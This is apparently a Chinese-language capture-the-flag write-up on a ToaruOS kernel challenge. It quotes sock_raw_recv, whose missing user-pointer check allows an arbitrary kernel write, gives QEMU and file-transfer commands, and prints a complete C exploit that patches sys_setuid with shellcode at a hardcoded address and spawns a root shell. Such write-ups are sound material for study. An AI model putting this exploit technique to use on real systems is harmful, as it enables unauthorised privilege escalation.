分析
1.ToaruOS
2.可用漏洞点
可以使用sock_raw_recv
造成任意地址写入,且题目未开启地址随机化
static long sock_raw_recv(sock_t * sock, struct msghdr * msg, int flags) {
if (!sock->_fnode.device) return -EINVAL;
if (msg->msg_iovlen > 1) {
printf("net: todo: can't recv multiple iovs\n");
return -ENOTSUP;
}
if (msg->msg_iovlen == 0) return 0;
char * data = net_sock_get(sock);
if (!data) return -EINTR;
size_t packet_size = *(size_t*)data;
if (msg->msg_iov[0].iov_len < packet_size) return -EINVAL;
memcpy(msg->msg_iov[0].iov_base, data + sizeof(size_t), packet_size);
free(data);
return 4096;
}
细节
- 要创建对应
socket
可以参考项目中apps
一些文件的写法 - 编译文件:
这样启动系统
#!/bin/bash
qemu-system-x86_64 -M q35 -m 3G -smp 4 -enable-kvm -cdrom image.iso \
-nographic -no-reboot -audiodev none,id=id -serial null -serial mon:stdio \
-fw_cfg name=opt/org.toaruos.gettyargs,string="-a local /dev/ttyS1 115200 xterm-256color" \
-fw_cfg name=opt/org.toaruos.bootmode,string=headless
下载编译工具
sudo msk update
sudo msk install build-essential
与宿主机之间传递文件
#宿主机
python3 -m http.server 3000 &
nc -lvvp 3001 >exp
#qemu
fetch http://192.168.195.130:3000/exp.c >exp.c
upload.krk exp 192.168.195.130:3001
exp
#include <netinet/in.h>
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#define MSG_LEN 0x10
#define WHERE 0x113b50 // Target address, where to write
int main(int argc, char * argv[]) {
int sock = socket(AF_RAW, SOCK_RAW, 0);
if (sock < 0) {
printf("error creating socket\n");
exit(-1);
}
printf("Socket created: %d\n", sock);
if (setsockopt(sock, SOL_SOCKET, SO_BINDTODEVICE, "lo", strlen("lo")+1)) {
printf("error setsockopt socket\n");
exit(-1);
}
struct sockaddr_in server_addr;
memset(&server_addr, 0, sizeof(server_addr));
char msg[MSG_LEN] = "\x65\x48\x8b\x04\x25\x00\x00\x00\x00\x8b\x50\x1c\x85\xd2\x90\x90";
struct iovec _iovec = {
(void*)msg, MSG_LEN
};
struct msghdr header = {
.msg_name = NULL,
.msg_namelen = 0,
.msg_iov = &_iovec,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
if (sendmsg(sock, &header, 0) < 0) {
printf("sendmsg failed\n");
exit(-1);
}
printf("message sent successfully\n");
memset(&server_addr, 0, sizeof(server_addr));
char msg2[MSG_LEN];
struct iovec _iovec2 = {
(void*)WHERE, MSG_LEN
};
struct msghdr header2 = {
.msg_name = NULL,
.msg_namelen = 0,
.msg_iov = &_iovec2,
.msg_iovlen = 1,
.msg_control = NULL,
.msg_controllen = 0,
.msg_flags = 0,
};
printf("overwrite sys_setuid\n");
// Trigger arbitrary memory write
if (recvmsg(sock, &header2, 0) < 0) {
printf("recvmsg failed\n");
exit(-1);
}
setuid(0);
system("esh");
return 0;
}
Comments | NOTHING